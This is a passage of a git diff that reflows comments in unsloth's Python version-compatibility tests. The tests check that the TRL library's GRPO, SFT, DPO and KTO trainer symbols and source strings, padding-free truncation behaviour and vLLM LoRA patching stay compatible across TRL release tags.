b/tests/version_compat/test_trl_grpo_pinned_symbols.py@@ -20,9 +20,8 @@ from tests.version_compat._fetch import fetch_text, first_match, has_def# Every stable TRL release from 0.18.2 (pyproject floor) onwards, plus `main`.-# 0.19.0 is pyproject-excluded (broken) but kept here so we know exactly-# which symbols break. Anchors all patches stay compatible with: 0.22.2,-# 0.27.1, 1.0.0.+# 0.19.0 is pyproject-excluded (broken) but kept here so we know exactly which symbols break.+# Anchors all patches stay compatible with: 0.22.2, 0.27.1, 1.0.0.TRL_TAGS = ["v0.18.2","v0.19.0",@@ -77,8 +76,6 @@ def _tag_ge(tag: str, floor: str) -> bool:# unsloth/trainer.py + unsloth/models/rl.py rebind these top-level names.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_top_level_grpo_sft(tag: str):"""GRPO/SFT Trainer+Config must resolve at the trl package root."""@@ -91,11 +88,8 @@ def test_trl_top_level_grpo_sft(tag: str):)-# trl.trainer.grpo_trainer.GRPOTrainer -- canonical class. unsloth's RL-# patcher discovers it via `eval(f"trl.trainer.{trainer_file}.{name}")`-# in unsloth/models/rl.py:548-594.--+# trl.trainer.grpo_trainer.GRPOTrainer+# unsloth's RL patcher discovers it via `eval(f"trl.trainer.{trainer_file}.{name}")` in unsloth/models/rl.py:548-594.@pytest.mark.parametrize("tag", TRL_TAGS)def test_grpo_trainer_class_canonical_path(tag: str):src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")@@ -121,10 +115,8 @@ def test_grpo_config_class_canonical_path(tag: str):)-# DataCollatorForPreference: rl_replacements.py:318 hard-imports from-# trl.trainer.dpo_trainer (old TRL had it in trl.trainer.utils).--+# DataCollatorForPreference: rl_replacements.py:318 hard-imports from trl.trainer.dpo_trainer (old TRL had it in+# trl.trainer.utils).@pytest.mark.parametrize("tag", TRL_TAGS)def test_data_collator_for_preference_resolvable(tag: str):"""DataCollatorForPreference must exist in dpo_trainer or utils (rl_replacements.py:318 imports it)."""@@ -142,10 +134,7 @@ def test_data_collator_for_preference_resolvable(tag: str):)-# trl.trainer.utils.pad: emitted into the GRPO compile cell as-# _unsloth_trl_pad (rl_replacements.py:326).--+# trl.trainer.utils.pad: emitted into the GRPO compile cell as _unsloth_trl_pad (rl_replacements.py:326).@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_trainer_utils_pad(tag: str):src = fetch_text("huggingface/trl", tag, "trl/trainer/utils.py")@@ -160,11 +149,8 @@ def test_trl_trainer_utils_pad(tag: str):)-# trl.models.unwrap_model_for_generation -- moved between submodules-# across releases. unsloth/models/rl.py:152-155 handles both paths.-# Assert at least one resolves on every tag.--+# trl.models.unwrap_model_for_generation+# unsloth/models/rl.py:152-155 handles both paths.@pytest.mark.parametrize("tag", TRL_TAGS)def test_unwrap_model_for_generation_either_path(tag: str):"""unwrap_model_for_generation must resolve via one of the two paths rl.py:152-155 tries (mirror prod exactly)."""@@ -184,17 +170,14 @@ def test_unwrap_model_for_generation_either_path(tag: str):)-# trl.experimental.openenv: gated import (rl_replacements.py:1765-1770).-# When present, must export the symbols unsloth patches.--+# trl.experimental.openenv: gated import (rl_replacements.py:1765-1770). When present, must export the symbols+# unsloth patches.@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_experimental_openenv_gated(tag: str):src = fetch_text("huggingface/trl", tag, "trl/experimental/openenv/__init__.py")if src is None:pytest.skip(f"{tag}: trl.experimental.openenv not present (OK)")- # Module exists -> utils submodule must be importable (unsloth patches- # via `import trl.experimental.openenv.utils`).+ # Module exists -> utils submodule must be importable (unsloth patches via `import trl.experimental.openenv.utils`).utils_src = fetch_text("huggingface/trl", tag, "trl/experimental/openenv/utils.py")assert utils_src is not None, (f"{tag}: trl.experimental.openenv exists but utils.py missing; "@@ -202,10 +185,7 @@ def test_trl_experimental_openenv_gated(tag: str):)-# trl.generation.vllm_generation: gated import for the fast_inference-# server mode (rl_replacements.py:1846-1848).--+# trl.generation.vllm_generation: gated import for the fast_inference server mode (rl_replacements.py:1846-1848).@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_generation_vllm_generation_gated(tag: str):"""VLLMGeneration + its _init_vllm/sync_weights/generate methods must@@ -226,14 +206,12 @@ def test_trl_generation_vllm_generation_gated(tag: str):# TRL's __version__ must be parseable; rl.py:63 string-matches it.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_version_parseable(tag: str):src = fetch_text("huggingface/trl", tag, "trl/__init__.py")assert src is not None- # Any one mechanism suffices: literal, `from .version import`,- # importlib.metadata version(), or reading a sibling VERSION file.+ # Any one mechanism suffices: literal, `from .version import`, importlib.metadata version(), or reading a sibling+ # VERSION file.has_literal = bool(re.search(r'^__version__\s*=\s*["\']', src, re.MULTILINE))has_subimport = bool(re.search(r"^from\s+\.version\s+import\s+__version__", src, re.MULTILINE))has_metadata = bool(@@ -256,11 +234,7 @@ def test_trl_version_parseable(tag: str):# Coverage extension (added 2026-05): symbols/source-string contracts# unsloth + unsloth-zoo touch that the original suite missed.--# 1. trl.is_conversational — soft import in unsloth-zoo dataset_utils.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_is_conversational_export(tag: str):src = fetch_text("huggingface/trl", tag, "trl/__init__.py")@@ -271,8 +245,6 @@ def test_trl_is_conversational_export(tag: str):# 2-4. trl.trainer.sft_trainer surface used by unsloth tokenizer utils + tests.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_sft_trainer_module_internals(tag: str):"""sft_trainer symbols for the `from trl.trainer.sft_trainer import *` at tokenizer_utils.py:1538."""@@ -287,10 +259,8 @@ def test_trl_sft_trainer_module_internals(tag: str):pass-# 5-6. trl.trainer.dpo_trainer + MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES,-# patched by unsloth-zoo/temporary_patches/misc.py:1376-1379.--+# 5-6. trl.trainer.dpo_trainer + MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES, patched by+# unsloth-zoo/temporary_patches/misc.py:1376-1379.@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_dpo_trainer_module_exists(tag: str):src = fetch_text("huggingface/trl", tag, "trl/trainer/dpo_trainer.py")@@ -303,8 +273,6 @@ def test_trl_dpo_trainer_module_exists(tag: str):# 7. trl.trainer.utils.ConstantLengthDataset — optional soft import in# unsloth-zoo/dataset_utils.py:596 (TRL 0.20.0 removed it on some paths).--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_constant_length_dataset_optional(tag: str):candidates = [@@ -324,12 +292,9 @@ def test_trl_constant_length_dataset_optional(tag: str):# 8. trl.models.utils.disable_gradient_checkpointing — added in TRL 1.0.0+.# rl.py:1976-1994 gates via hasattr(); assert the symbol exists from# 1.0.0 onwards so a future removal gets caught.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_models_utils_disable_gradient_checkpointing(tag: str):if tag == "main":- # main is bleeding edge; expect 1.0.0+ behaviour.require = Trueelse:try:@@ -352,8 +317,6 @@ def test_trl_models_utils_disable_gradient_checkpointing(tag: str):# 9. trl.import_utils `_*_available` cache pattern — import_fixes.py:508-516# clears these cached booleans so vllm-ascend imports work.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_import_utils_available_pattern(tag: str):candidates = [@@ -364,8 +327,8 @@ def test_trl_import_utils_available_pattern(tag: str):if hit is None:pytest.skip(f"{tag}: trl/import_utils not present (legacy TRL)")_, src = hit- # import_fixes iterates vars(trl.import_utils) for `*_available` names;- # at least one must exist or the patch silently no-ops.+ # import_fixes iterates vars(trl.import_utils) for `*_available` names; at least one must exist or the patch+ # silently no-ops.has_pattern = bool(re.search(r"\b\w+_available\b", src))assert has_pattern, (f"{tag}: trl.import_utils has no `_available` cache var; "@@ -373,10 +336,8 @@ def test_trl_import_utils_available_pattern(tag: str):)-# 10. trl.experimental.openenv.utils generators — one of the two function-# names must exist (rl_replacements.py:1775-1781 getattr()s for one).--+# 10. trl.experimental.openenv.utils generators - one of the two function names must exist+# (rl_replacements.py:1775-1781 getattr()s for one).@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_openenv_utils_generators(tag: str):src = fetch_text("huggingface/trl", tag, "trl/experimental/openenv/utils.py")@@ -391,10 +352,8 @@ def test_trl_openenv_utils_generators(tag: str):)-# 11-16. GRPOTrainer required method names. rl_replacements.py dispatches-# on function_name == "..."; a renamed method silently skips the patch.--+# 11-16. GRPOTrainer required method names. rl_replacements.py dispatches on function_name == "...";+# a renamed method silently skips the patch.@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_grpo_trainer_required_methods(tag: str):"""GRPOTrainer methods unsloth rewrites against; drift silently skips@@ -416,16 +375,14 @@ def test_trl_grpo_trainer_required_methods(tag: str):f"._get_per_token_logps_and_entropies (TRL >=0.20) found; "f"unsloth's per-token-logps rewrite no-ops on both dispatch keys")- # Optional/version-dependent — informational only.for m in ("_generate_single_turn", "_move_model_to_vllm", "_calculate_rewards"):_present = has_def(src, m, "func")_ = _present-# Source-string contracts on grpo_trainer.py. Each substring is one half-# of a `function.replace(old, new)` rewrite; if it vanishes from TRL-# source the rewrite no-ops and GRPO behaviour silently diverges. Split-# per version-window since some patterns apply only to a subset of minors.+# Source-string contracts on grpo_trainer.py. Each substring is one half of a `function.replace(old, new)` rewrite; if+# it vanishes from TRL source the rewrite no-ops and GRPO behaviour silently diverges. Split per version-window since+# some patterns apply only to a subset of minors.@pytest.mark.parametrize("tag", TRL_TAGS)@@ -444,8 +401,6 @@ def test_trl_grpo_source_inference_mode_unwrap(tag: str):# 17. KTOTrainer.get_batch_logps + the literal raise-message rewriter.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_kto_get_batch_logps_signature(tag: str):"""KTO log-prob computation must stay patchable. Older TRL exposed@@ -477,8 +432,8 @@ def test_trl_kto_get_batch_logps_signature(tag: str):'must have the same shape.")')if checked_sources and not any(old_shape_check in src for _, src in checked_sources):- # TRL main inlined KTO log-probs and removed the old rewrite target;- # nothing to guard until a new concrete shape-mismatch target appears.+ # TRL main inlined KTO log-probs and removed the old rewrite target; nothing to guard until a new concrete+ # shape-mismatch target appears.returnpytest.fail(f"{tag}: KTO log-prob computation not found in any of {candidates}; "@@ -486,11 +441,8 @@ def test_trl_kto_get_batch_logps_signature(tag: str):)-# 18. SFTTrainer + the `dict_args.pop("push_to_hub_token")` shim. transformers-# 5.0 removed the kwarg; if TRL stops emitting the bare pop, our patch-# no-ops AND TRL itself crashes on transformers 5.0.--+# 18. SFTTrainer + the `dict_args.pop("push_to_hub_token")` shim. transformers 5.0 removed the kwarg; if TRL stops+# emitting the bare pop, our patch no-ops AND TRL itself crashes on transformers 5.0.@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_sft_trainer_class(tag: str):"""SFTTrainer must exist. The push_to_hub_token pop literal is checked@@ -501,8 +453,6 @@ def test_trl_sft_trainer_class(tag: str):# 19-21. DPOTrainer methods unsloth-zoo's rl_replacements rewrites.--@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_dpo_trainer_methods(tag: str):"""DPOTrainer methods unsloth's rewriters key on (rl_replacements.py@@ -511,9 +461,7 @@ def test_trl_dpo_trainer_methods(tag: str):informational so a silent regression stays visible."""src = fetch_text("huggingface/trl", tag, "trl/trainer/dpo_trainer.py")assert src is not None- # The DPO class itself must always exist.assert has_def(src, "DPOTrainer", "class"), f"{tag}: class DPOTrainer missing in dpo_trainer.py"- # Informational only -- pass either way:for method in ("concatenated_inputs","concatenated_forward",@@ -522,14 +470,11 @@ def test_trl_dpo_trainer_methods(tag: str):"_prepare_dataset",):_present = has_def(src, method, "func")- _ = _present # informational; rewriter no-ops cleanly when absent---# 22-23. grpo_trainer must have in scope the helpers unsloth's rewriters-# reference (profiling_context, maybe_apply_chat_template,-# truncate_with_protected_tokens), defined or imported from trl.*.+ _ = _present+# 22-23. grpo_trainer must have in scope the helpers unsloth's rewriters reference (profiling_context,+# maybe_apply_chat_template, truncate_with_protected_tokens), defined or imported from trl.*.@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_grpo_internal_helpers_in_scope(tag: str):"""Chat-template kwargs must propagate via legacy@@ -560,15 +505,11 @@ def test_trl_truncate_with_protected_tokens_optional(tag: str):_ = has_it # informational; pass either way.-# 24-27. TRL >= 1.7.0 GRPO source contracts. Unlike the has_def existence-# checks above, these pin the exact source strings unsloth/models/rl.py and-# rl_replacements.py transform for TRL >= 1.7.0 (the window PR #6904 fixes).-# The 1.7.0 break was invisible to the existence checks because the methods-# still existed -- only their internal structure / return arity changed. If-# TRL restructures one of these, the transform silently no-ops (or the-# generated trainer breaks), so failing here on `main` gives a few-day lead.--+# 24-27. TRL >= 1.7.0 GRPO source contracts. Unlike the has_def existence checks above, these pin the exact source+# strings unsloth/models/rl.py and rl_replacements.py transform for TRL >= 1.7.0 (the window PR #6904 fixes).+# The 1.7.0 break was invisible to the existence checks because the methods still existed -- only their internal+# structure / return arity changed. If TRL restructures one of these, the transform silently no-ops (or the generated+# trainer breaks), so failing here on `main` gives a few-day lead.@pytest.mark.parametrize("tag", TRL_TAGS)def test_trl_grpo_peft_ref_adapter_block_contract(tag: str):"""rl.py (trl>=1.4.0) strips TRL's PEFT ref-adapter init with a re.DOTALLdiff --git a/tests/version_compat/test_trl_loss_normalization_contract.py b/tests/version_compat/test_trl_loss_normalization_contract.pyindex 4eed5d4d5d3..b717de03c39 100644--- a/tests/version_compat/test_trl_loss_normalization_contract.py+++ b/tests/version_compat/test_trl_loss_normalization_contract.py@@ -44,9 +44,8 @@ import pytestif importlib.util.find_spec("torch") is None:pytest.skip("torch not installed", allow_module_level = True)-# Unsloth refuses to import without a torch accelerator, so the GPU-less runner-# needs the same spoof the sibling CPU canaries use. Must precede any unsloth-# import, which is why it sits at module scope rather than in a fixture.+# Unsloth refuses to import without a torch accelerator, so the GPU-less runner needs the same spoof the sibling CPU+# canaries use. Must precede any unsloth import, which is why it sits at module scope rather than in a fixture._SPOOF_DIR = Path(__file__).resolve().parents[1]sys.path.insert(0, str(_SPOOF_DIR))import _zoo_aggressive_cuda_spoof as _spoof # noqa: E402@@ -106,10 +105,9 @@ def _pristine_sft_config_cls():"""TRL's own SFTConfig, not the generated subclass patching rebinds over it."""import trl- # Go by the marker rather than the name: the generated subclass is renamed- # onto TRL's own name so that instances of it keep pickling, so `Unsloth`- # no longer appears in `__name__`. `__dict__` rather than `getattr`, so a- # user subclass of the generated class does not inherit its way past this.+ # Go by the marker rather than the name: the generated subclass is renamed onto TRL's own name so that instances+ # of it keep pickling, so `Unsloth` no longer appears in `__name__`. `__dict__` rather than `getattr`, so a user+ # subclass of the generated class does not inherit its way past this.cls = trl.SFTConfigwhile "_unsloth_patched_rl_config" in cls.__dict__ or cls.__name__.startswith("Unsloth"):cls = cls.__mro__[1]@@ -298,8 +296,8 @@ def test_rl_py_scopes_loss_type_to_sft_trainer():keys = [k.value for k in node.value.keys if isinstance(k, ast.Constant)]if "loss_type" not in keys:continue- # A loss_type entry is only legitimate inside an `if trainer_file == ...`- # branch. Find the nearest enclosing If and check its test.+ # A loss_type entry is only legitimate inside an `if trainer_file == ...` branch. Find the nearest enclosing+ # If and check its test.guarded = Falsefor parent in ast.walk(tree):if not isinstance(parent, ast.If):diff --git a/tests/version_compat/test_trl_padding_free_max_length.py b/tests/version_compat/test_trl_padding_free_max_length.pyindex 5875f0009f2..60c9f2eca9b 100644--- a/tests/version_compat/test_trl_padding_free_max_length.py+++ b/tests/version_compat/test_trl_padding_free_max_length.py@@ -86,8 +86,8 @@ def patched_sft(_cpu_only_torch):global torch # the `import torch._dynamo` below would otherwise shadow itimport unsloth # noqa: F401- # Through the module's MonkeyPatch: `import unsloth` reinstalls the real- # torch.compile over the passthrough, and dynamo's kill switch is global too.+ # Through the module's MonkeyPatch: `import unsloth` reinstalls the real torch.compile over the passthrough, and+ # dynamo's kill switch is global too._cpu_only_torch.setattr(torch, "compile", _eager_compile)try:import torch._dynamo@@ -275,9 +275,9 @@ def test_pretokenized_rows_are_truncated_so_the_cap_is_really_enforced(assert args.max_length is None, f"{name}: the cap should be consumed by the truncation"assert args.max_seq_length == _MODEL_MAX_SEQ_LENGTH, f"{name}: the cap must be recorded"assert args.padding_free is True, f"{name}: padding-free no longer needs dropping"- # Padding-free CONCATENATES the batch into one flat sequence, so the collated width is- # rows x cap, not the cap. Two rows at exactly 2 x 128 is the proof that neither row- # exceeded it; asserting 128 here would be asserting that padding-free was off.+ # Padding-free CONCATENATES the batch into one flat sequence, so the collated width is rows x cap, not the cap. Two+ # rows at exactly 2 x 128 is the proof that neither row exceeded it; asserting 128 here would be asserting that+ # padding-free was off.assert _collated_width(trainer) == 2 * _MODEL_MAX_SEQ_LENGTH@@ -305,10 +305,8 @@ def test_a_with_transform_dataset_keeps_its_cap(tmp_path, trl_has_guard):})- # Dropping padding-free keeps `max_length` for TRL's collator, and that collator- # has never truncated on any TRL from 0.22.2 to main: truncation lives only in- # _prepare_dataset, which returns pre-tokenized rows untouched. So there is no- # enforcement path left here, and construction must fail rather than run uncapped.+ # Dropping padding-free keeps `max_length` for TRL's collator, and that collator has never truncated on any TRL from+ # 0.22.2 to main: truncation lives only in _prepare_dataset, which returns pre-tokenized rows untouched.with pytest.raises(ValueError, match = "cannot be enforced"):_build(tmp_path, dataset = _transformed)@@ -327,7 +325,6 @@ def test_a_raw_eval_split_is_left_for_the_tokenizer(tmp_path, trl_has_guard):raw = Dataset.from_list([{"text": text}] * 4)trainer = _build(tmp_path, dataset = _tokenized_dataset, eval_dataset = {"validation": raw})- # The train split was tokenized and capped, so the cap is consumed.assert trainer.args.max_length is Nonesplit = trainer.eval_dataset["validation"]# The raw split is untouched: no truncation ran over it, so the tokenizer pass that@@ -352,6 +349,7 @@ def test_a_torch_formatted_dataset_is_still_truncated(tmp_path, trl_has_guard):return dstrainer = _build(tmp_path, dataset = _formatted)+ # The train split was tokenized and capped, so the cap is consumed.assert trainer.args.max_length is Noneassert _longest(trainer) == _MODEL_MAX_SEQ_LENGTH, "formatted rows were not truncated"@@ -524,10 +522,9 @@ def _pristine_sft_config_cls():`max_seq_length` field no TRL from 0.22.2 to 1.9.2 declares. A caller whoimported SFTConfig before `import unsloth` still passes the pristine class."""- # Go by the marker rather than the name: the generated subclass is renamed- # onto TRL's own name so that instances of it keep pickling, so `Unsloth`- # no longer appears in `__name__`. `__dict__` rather than `getattr`, so a- # user subclass of the generated class does not inherit its way past this.+ # Go by the marker rather than the name: the generated subclass is renamed onto TRL's+ # own name so that instances of it keep pickling, so `Unsloth` need not appear in+ # `__name__` at all; the name check below only catches whatever kept the old name.from trl import SFTConfigcls = SFTConfig@@ -669,9 +666,8 @@ def _late_overlength_dataset(tok):short = tok("hi")["input_ids"]long = tok("The quick brown fox. " * 200)["input_ids"]assert len(long) > _MODEL_MAX_SEQ_LENGTH- # Keyed off the row's own text, not its position: `with_transform` is handed- # whatever slice was asked for, so a batch index says nothing about which- # row of the dataset it is.+ # Keyed off the row's own text, not its position: `with_transform` is handed whatever slice was asked for, so a+ # batch index says nothing about which row of the dataset it is.base = Dataset.from_list([{"text": t} for t in ("s", "s", "s", "L")])return base.with_transform(lambda batch: {@@ -938,11 +934,10 @@ def test_rows_whose_mask_is_truncated_away_are_dropped(tmp_path, trl_has_guard):"""Same rule the `labels` filter already applies, for the other two spellings."""if not trl_has_guard:pytest.skip("no guard in this TRL: the block under test is not generated at all")- # completion_only_loss explicitly, because the collator's mode is what decides- # whether this mask is supervision at all. TRL resolves a None from the TRAIN- # sample, and this split has no prompt/completion columns, so the effective mode- # would be False, the collator would ignore the mask, and filtering on it would- # be deleting rows that still carry full-sequence supervision.+ # completion_only_loss explicitly, because the collator's mode is what decides whether this mask is supervision+ # at all. TRL resolves a None from the TRAIN sample, and this split has no prompt/completion columns, so the+ # effective mode would be False, the collator would ignore the mask, and filtering on it would be deleting rows+ # that still carry full-sequence supervision.trainer = _build(tmp_path, dataset = _mask_supervised_dataset, completion_only_loss = True)assert len(trainer.train_dataset) == 2, "the rows that kept their completion were dropped too"for row in trainer.train_dataset:@@ -1022,24 +1017,19 @@ def test_the_codegen_carries_the_third_round_fixes():assert "hasattr(_first, '__len__')" not in blockassert "try: len(_first)" in block- # Supervision is carried three ways and only `labels` was filtered. The two- # masks are gated the way TRL's collator gates them, which is not the same- # for both: `completion_mask` behind the RESOLVED `completion_only_loss`,- # `assistant_masks` on presence alone.+ # Supervision is carried three ways and only `labels` was filtered.assert "'assistant_masks' in _unsloth_cols" in blockassert "getattr(args, 'assistant_only_loss'" not in block- # A None `completion_only_loss` is resolved from the dataset the way TRL- # resolves it, not read as "on".+ # A None `completion_only_loss` is resolved from the dataset the way TRL resolves it, not read as "on".assert "getattr(args, 'completion_only_loss', None) is not False" not in block- # Resolved from the TRAIN sample now, not this split's columns, because that is- # what the collator does and the two have to agree.+ # Resolved from the TRAIN sample now, not this split's columns, because that is what the collator does and the two+ # have to agree.assert "'prompt' in _unsloth_train_sample and 'completion' in _unsloth_train_sample" in block- # The masks apply onto the same labels one after another, so a row survives only- # where they all agree -- and `labels` is in that intersection, not a filter of its- # own: a row supervised at one position and masked in at another passes two separate- # filters and still goes out all -100.+ # The masks apply onto the same labels one after another, so a row survives only where they all agree, and `labels`+ # is in that intersection, not a filter of its own: a row supervised at one position and masked in at another+ # passes two separate filters and still goes out all -100.assert ("_unsloth_supervision = (['labels'] if 'labels' in _unsloth_cols else []) + _unsloth_masks"in block@@ -1210,8 +1200,8 @@ def test_a_none_completion_only_loss_does_not_filter_a_pretokenized_split():entirely. Reading `None` as "on" deleted rows that still had validfull-sequence supervision, and could empty the split outright."""block = _padding_free_codegen_block()- # Bounded by the next anchor rather than by a byte count: a comment added- # inside the block used to push the assertions out of a fixed window.+ # Bounded by the next anchor rather than by a byte count: a comment added inside the block used to push the+ # assertions out of a fixed window.i = block.index("_unsloth_completion_only")window = block[i : block.index("args._unsloth_completion_only_loss", i)]assert "is None" in window@@ -1386,12 +1376,11 @@ def test_the_codegen_leaves_a_packed_eval_split_to_the_packer():"_unsloth_eval_packing = getattr(args, 'packing', False) if getattr(args, 'eval_packing', None) is None else getattr(args, 'eval_packing')"in block)- # And it drops the enforcement claim rather than the split: packing needs- # `max_length`, so clearing it would make TRL raise instead.+ # And it drops the enforcement claim rather than the split: packing needs `max_length`,+ # so clearing it would make TRL raise instead.# `or not _unsloth_known_mode`: a mode this cannot honour spares the split too.assert "if _unsloth_eval_packing or not _unsloth_known_mode:" in blockassert "_unsloth_capped = False\\n" in block- # And the fallback scan must not then raise on the split it just spared.assert ("_unsloth_scan_eval = None if _unsloth_eval_packing else ""(eval_dataset if 'eval_dataset' in locals() else None)" in block@@ -1409,6 +1398,7 @@ def test_the_codegen_does_not_raise_on_a_split_it_left_to_the_packer():`bfd_split` the overflow they exist to handle."""block = _padding_free_codegen_block()+ # And the fallback scan must not then raise on the split it just spared.assert ("_unsloth_scan_eval = None if _unsloth_eval_packing else ""(eval_dataset if 'eval_dataset' in locals() else None)" in block@@ -1477,10 +1467,9 @@ def test_eval_packing_on_a_late_split_follows_whether_trl_packs_it():"""_, tok = _load_plain()- # A fresh split per case on purpose: a skipped cut MARKS the caller's own- # object as capped, which is what stops the paired `get_eval_dataloader`- # wrapper cutting it seconds later, so reusing one split across cases would- # measure that mark instead of the decision under test.+ # A fresh split per case on purpose: a skipped cut MARKS the caller's own object as capped, which is what stops the+ # paired `get_eval_dataloader` wrapper cutting it seconds later, so reusing one split across cases would measure+ # that mark instead of the decision under test.def _late():split = _tokenized_dataset(tok)assert max(len(r) for r in split["input_ids"]) > _MODEL_MAX_SEQ_LENGTH@@ -1499,8 +1488,8 @@ def test_eval_packing_on_a_late_split_follows_whether_trl_packs_it():stub.evaluate(eval_dataset = _late())return max(len(r) for r in seen["ds"]["input_ids"])- # Both sides of the change, deterministically, so this pins the wrapper's- # logic rather than whichever TRL happens to be installed.+ # Both sides of the change, deterministically, so this pins the wrapper's logic rather than whichever TRL happens to+ # be installed.for strategy in ("wrapped", "bfd_split"):assert _run(True, True, strategy) > _MODEL_MAX_SEQ_LENGTH, (f"{strategy}: the split was cut at the cap before TRL's packer "@@ -1651,12 +1640,11 @@ def test_the_installed_trl_is_on_the_side_of_1_7_0_that_its_version_says():import trllate_hooks, prepares = _trl_sft_late_hooks()- # Whichever side of the change this TRL is on, `_prepare_dataset` is reached- # only from `__init__` and from `evaluate`. A third caller would be a third- # path for the late cap to audit.+ # Whichever side of the change this TRL is on, `_prepare_dataset` is reached only from `__init__` and from+ # `evaluate`. A third caller would be a third path for the late cap to audit.assert set(prepares) <= {"__init__", "evaluate"}, prepares- # `predict` and the two dataloader builders are the base Trainer's on every- # TRL, which is why only `evaluate` is ever given `packs_late`.+ # `predict` and the two dataloader builders are the base Trainer's on every TRL, which is why only `evaluate` is+ # ever given `packs_late`.assert not late_hooks - {"evaluate"}, late_hookspacks_late = "evaluate" in preparesassert packs_late == ("evaluate" in late_hooks), (prepares, late_hooks)@@ -1974,8 +1962,8 @@ def test_a_short_and_fully_supervised_split_comes_back_untouched():cap = _MODEL_MAX_SEQ_LENGTHshort = cap // 2- # Two shapes: one the filter runs over and keeps every row of, and one with- # no supervision column at all, where there is nothing to run.+ # Two shapes: one the filter runs over and keeps every row of, and one with no supervision column at all, where+ # there is nothing to run.supervised = Dataset.from_list([{"input_ids": list(range(short)), "labels": list(range(short))}] * 2)@@ -2854,6 +2842,7 @@ def test_the_transform_rule_is_read_by_both_schema_probes():assert (block.count("_unsloth_is_transformed(") >= 3), "the rule is not defined once and read by both probes"+ # Sliced to the next def, not a fixed window:start = block.index("def _unsloth_pretokenized")body = block[start : block.index("def _unsloth_cap_split", start)]assert body.index("_unsloth_is_transformed(_ds)") < body.index(@@ -3339,7 +3328,6 @@ def test_a_nullable_value_does_not_break_the_construction_time_truncation():end = source.index('" def _unsloth_truncate_rows(_batch):\\n"')lines = re.findall(r'^\s*"(.*?)\\n"\s*$', source[start:end], re.M)scope = {"_unsloth_slice": slice(None, 4)}- # Extracted from the generator and executed as written, like the cap scan.exec("\n".join(line[8:] for line in lines), scope)cut = scope["_unsloth_cut_value"]ids = list(range(10))@@ -3510,6 +3498,7 @@ def test_the_rank_window_degrades_to_a_no_op():end = source.index('" def _unsloth_cap_split(_ds):\\n"')lines = re.findall(r'^\s*"(.*?)\\n"\s*$', source[start:end], re.M)scope = {}+ # Extracted from the generator and executed as written, like the cap scan.exec("\n".join(line[8:] for line in lines), scope)with scope["_unsloth_rank_first"]():pass # must not raise, whatever accelerate is or is not herediff --git a/tests/version_compat/test_trl_vllm_generation_lora_patch.py b/tests/version_compat/test_trl_vllm_generation_lora_patch.pyindex 0746e36ab4d..5b80cc38b8c 100644--- a/tests/version_compat/test_trl_vllm_generation_lora_patch.py+++ b/tests/version_compat/test_trl_vllm_generation_lora_patch.py@@ -34,8 +34,8 @@ import typesimport pytest-# Collection must stay cheap and safe where the runtime is absent (the-# daily-fresh-fetch job collects tests/version_compat/ with only pytest).+# Collection must stay cheap and safe where the runtime is absent (the daily-fresh-fetch job collects+# tests/version_compat/ with only pytest).if importlib.util.find_spec("torch") is None:pytest.skip("torch not installed; this test drives the real patch", allow_module_level = True)@@ -45,7 +45,6 @@ if importlib.util.find_spec("torch") is None:# `_init_vllm` and `sync_weights` are still rewritten from source, so their text# has to carry the anchors the regexes look for: an `self.llm = LLM(...)` block# and a bare `def sync_weights(self):` line.-_INIT_VLLM = """def _init_vllm(self, model):if self.mode == "colocate":@@ -66,7 +65,6 @@ def sync_weights(self):"""# TRL >= 1.10.0: no `collective_rpc("reload_weights")` anywhere in `generate`.-# This is the shape that silently dropped the adapter._GENERATE_TRL_1_10 = """def generate(self, prompts, **kwargs):self.sync_weights()@@ -82,7 +80,6 @@ def generate(self, prompts, **kwargs):return self.llm.generate(prompts, sampling_params = self.sampling_params, use_tqdm = False)"""-# Conversational rollouts go through `LLM.chat`, which needs the same adapter._GENERATE_CHAT = """def generate(self, prompts, **kwargs):self.sync_weights()@@ -191,9 +188,8 @@ def _build_fake_trl()generation.vllm_generation = vllm_generation- # A fake `trl` package too, so nothing here depends on a real TRL install:- # the patch gates on `importlib.util.find_spec("trl")`, which resolves out of- # sys.modules when the name is already there.+ # A fake `trl` package too, so nothing here depends on a real TRL install: the patch gates on+ # `importlib.util.find_spec("trl")`, which resolves out of sys.modules when the name is already there.trl = types.ModuleType("trl")trl.__spec__ = importlib.machinery.ModuleSpec(name = "trl", loader = None, origin = "<fake trl>")trl.__spec__.submodule_search_locations = []@@ -286,8 +282,8 @@ def test_trl_0_22_shape_keeps_working(monkeypatch):assert requests and all(str(r).startswith("LORA[vllm_gen_lora") for r in requests), f"adapter missing on the 0.22.2-era shape: {log}"- # The shared engine already holds the live training weights, so a- # reload_weights would drag the original checkpoint back off disk.+ # The shared engine already holds the live training weights, so a reload_weights would drag the original checkpoint+ # back off disk.assert (("collective_rpc", "reload_weights") not in log), f"reload_weights reached the shared engine and clobbered the trained weights: {log}"@@ -437,8 +433,8 @@ def test_patching_twice_does_not_double_wrap(monkeypatch):for name, method in after_first.items():assert getattr(cls, name) is method, f"{name} was re-patched on the second call"- # One layer of wrapping, and it unwraps to TRL's own function so that- # `inspect.getsource` / `inspect.signature` still report TRL's `generate`.+ # One layer of wrapping, and it unwraps to TRL's own function so that `inspect.getsource` / `inspect.signature`+ # still report TRL's `generate`.wrapped = getattr(cls.generate, "__wrapped__", None)assert wrapped is not None, "the wrapper did not set __wrapped__"assert getattr(wrapped, "__wrapped__", None) is None, "generate was wrapped twice"@@ -463,8 +459,6 @@ def test_patching_twice_does_not_double_wrap(monkeypatch):# positional parameter, and its index has already moved once (`tokenization_kwargs`# was inserted in 0.18.0). A caller that 